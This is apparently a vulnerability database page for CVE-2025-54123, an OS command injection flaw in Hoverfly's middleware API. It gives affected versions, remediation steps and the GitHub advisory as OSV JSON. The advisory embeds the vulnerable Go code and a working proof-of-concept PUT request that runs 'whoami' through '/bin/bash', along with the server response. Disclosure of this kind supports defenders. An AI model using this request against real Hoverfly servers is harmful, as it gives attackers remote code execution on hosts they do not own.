CVE-2025-54123: Github.com/SpectoLabs/hoverfly Remote Code Execution Vulnerability
CRITICALCVE-2025-54123 is a CRITICAL (CVSS 9.8) remote code execution vulnerability (CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')) affecting Github.com/SpectoLabs/hoverfly libraries in the Go ecosystem. The issue involves hoverfly is vulnerable to remote code execution through an insecure middleware implementation. Remediation is available in the latest vendor maintenance releases.
CVE-2025-54123 at a Glance
Security Impact
CVSS: 9.8
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).
How to Fix CVE-2025-54123
To remediate this vulnerability, upgrade all affected Github.com/SpectoLabs/hoverfly dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade github.com/SpectoLabs/hoverfly to Latest secure release
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for github.com/SpectoLabs/hoverfly
How to Check if You Are Affected
To determine whether your application is affected by CVE-2025-54123, inspect your project dependencies for Github.com/SpectoLabs/hoverfly:
inspect dependencies for github.com/SpectoLabs/hoverfly
Analyze the terminal output to locate any version of Github.com/SpectoLabs/hoverfly in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'), where the product constructs all or part of an os command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended os command when it is sent to a downstream component. In Github.com/SpectoLabs/hoverfly, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2025-54123 Affected Github.com/SpectoLabs/hoverfly Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
github.com/SpectoLabs/hoverfly
|
Go |
≤ 1.11.3
|
|
References
Frequently Asked Questions
What is CVE-2025-54123?
Which Github.com/SpectoLabs/hoverfly versions are affected?
What version fixes CVE-2025-54123?
Is github.com/SpectoLabs/hoverfly affected?
What is the CVSS score of CVE-2025-54123?
What CWE is associated with CVE-2025-54123?
How can I check Go dependencies for CVE-2025-54123?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-r4h8-hfp2-ggmf",
"modified" : "2025-09-13T03:08:55Z",
"published" : "2025-09-10T19:48:43Z",
"aliases" : [ "CVE-2025-54123" ],
"summary" : "Hoverfly is vulnerable to Remote Code Execution through an insecure middleware implementation",
"details" : "### Summary\nIt has been discovered that the middleware functionality in Hoverfly is vulnerable to command injection through its `/api/v2/hoverfly/middleware` endpoint due to insufficient validation and sanitization in user input.\n\n### Details\nThe vulnerability exists in the middleware management API endpoint `/api/v2/hoverfly/middleware`. \n\nThis issue is born due to combination of three code level flaws:\n\n1. Insufficient Input Validation in [middleware.go line 94-96](https://github.com/SpectoLabs/hoverfly/blob/master/core/middleware/middleware.go#L93):\n\n```\nfunc (this *Middleware) SetBinary(binary string) error {\n this.Binary = binary // No validation of binary parameter here\n return nil\n}\n```\n\n2. Unsafe Command Execution in [local_middleware.go line 14-19](https://github.com/SpectoLabs/hoverfly/blob/master/core/middleware/local_middleware.go#L13):\n\n```\nvar middlewareCommand *exec.Cmd\nif this.Script == nil {\n middlewareCommand = exec.Command(this.Binary) // User-controlled binary\n} else {\n middlewareCommand = exec.Command(this.Binary, this.Script.Name()) // User-controlled binary and script\n}\n```\n\n3. Immediate Execution During Testing in [hoverfly_service.go line 173](https://github.com/SpectoLabs/hoverfly/blob/master/core/hoverfly_service.go#L173):\n\n```\n_, err = newMiddleware.Execute(testData) // Executes middleware immediately for testing\n```\n\n### POC\n\n1. Send the below HTTP PUT request to `http://localhost:8888` in order to create our malicious middleware, this will execute a simple `whoami` command on target. (ADMIN UI/API)\n\nHere, when you send this request, The hoverify will processes the request and writes the script to a temporary file and During middleware validation, Hoverfly executes: `/bin/bash /tmp/{hoverfly_script}`, and Boom! The malicious script will get executed with Hoverfly's privileges.\n\n```\nPUT /api/v2/hoverfly/middleware HTTP/1.1\nHost: localhost:8888\nsec-ch-ua-platform: \"macOS\"\nAccept-Language: en-US,en;q=0.9\nAccept: application/json, text/plain, */*\nsec-ch-ua: \"Not)A;Brand\";v=\"8\", \"Chromium\";v=\"138\"\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36\nsec-ch-ua-mobile: ?0\nSec-Fetch-Site: same-origin\nSec-Fetch-Mode: cors\nSec-Fetch-Dest: empty\nReferer: http://localhost:8888/dashboard\nAccept-Encoding: gzip, deflate, br\nConnection: keep-alive\nContent-Type: application/json\nContent-Length: 101\n\n{\n \"binary\": \"/bin/bash\",\n \"script\": \"whoami\"\n}\n```\n\n```\nHTTP/1.1 422 Unprocessable Entity\nDate: Sat, 12 Jul 2025 15:55:49 GMT\nContent-Length: 540\nContent-Type: text/plain; charset=utf-8\n\n{\"error\":\"Failed to unmarshal JSON from middleware\\nCommand: /bin/bash /var/folders/c6/c708mhjj12j_d5sg_s80pybc0000gn/T/hoverfly/hoverfly_2749637664\\ninvalid character 'k' looking for beginning of value\\n\\nSTDIN:\\n{\\\"response\\\":{\\\"status\\\":200,\\\"body\\\":\\\"ok\\\",\\\"encodedBody\\\":false,\\\"headers\\\":{\\\"test_header\\\":[\\\"true\\\"]}},\\\"request\\\":{\\\"path\\\":\\\"/\\\",\\\"method\\\":\\\"GET\\\",\\\"destination\\\":\\\"www.test.com\\\",\\\"scheme\\\":\\\"\\\",\\\"query\\\":\\\"\\\",\\\"formData\\\":null,\\\"body\\\":\\\"\\\",\\\"headers\\\":{\\\"test_header\\\":[\\\"true\\\"]}}}\\n\\nSTDOUT:\\nkr1shna4garwal\\n\"}\n```\n(Here, the user is `kr1shna4garwal`)\n\n### Impact\n\nThis allows an attacker to gain remote code execution (RCE) on any system running the vulnerable Hoverfly service. Since the input is directly passed to system commands without proper checks, an attacker can upload a malicious payload or directly execute arbitrary commands (including reverse shells) on the host server with the privileges of the hoverfly process.\n\nReporter:\n@kr1shna4garwal",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/SpectoLabs/hoverfly"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"last_affected" : "1.11.3"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/SpectoLabs/hoverfly/security/advisories/GHSA-r4h8-hfp2-ggmf"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-54123"
}, {
"type" : "WEB",
"url" : "https://github.com/SpectoLabs/hoverfly/pull/1203"
}, {
"type" : "WEB",
"url" : "https://github.com/SpectoLabs/hoverfly/commit/17e60a9bc78826deb4b782dca1c1abd3dbe60d40"
}, {
"type" : "WEB",
"url" : "https://github.com/SpectoLabs/hoverfly/commit/a9d4da7bd7269651f54542ab790d0c613d568d3e"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/SpectoLabs/hoverfly"
}, {
"type" : "WEB",
"url" : "https://github.com/SpectoLabs/hoverfly/blob/master/core/hoverfly_service.go#L173"
}, {
"type" : "WEB",
"url" : "https://github.com/SpectoLabs/hoverfly/blob/master/core/middleware/local_middleware.go#L13"
}, {
"type" : "WEB",
"url" : "https://github.com/SpectoLabs/hoverfly/blob/master/core/middleware/middleware.go#L93"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-20", "CWE-78" ],
"severity" : "CRITICAL",
"github_reviewed" : true,
"github_reviewed_at" : "2025-09-10T19:48:43Z",
"nvd_published_at" : "2025-09-10T19:15:41Z"
}
}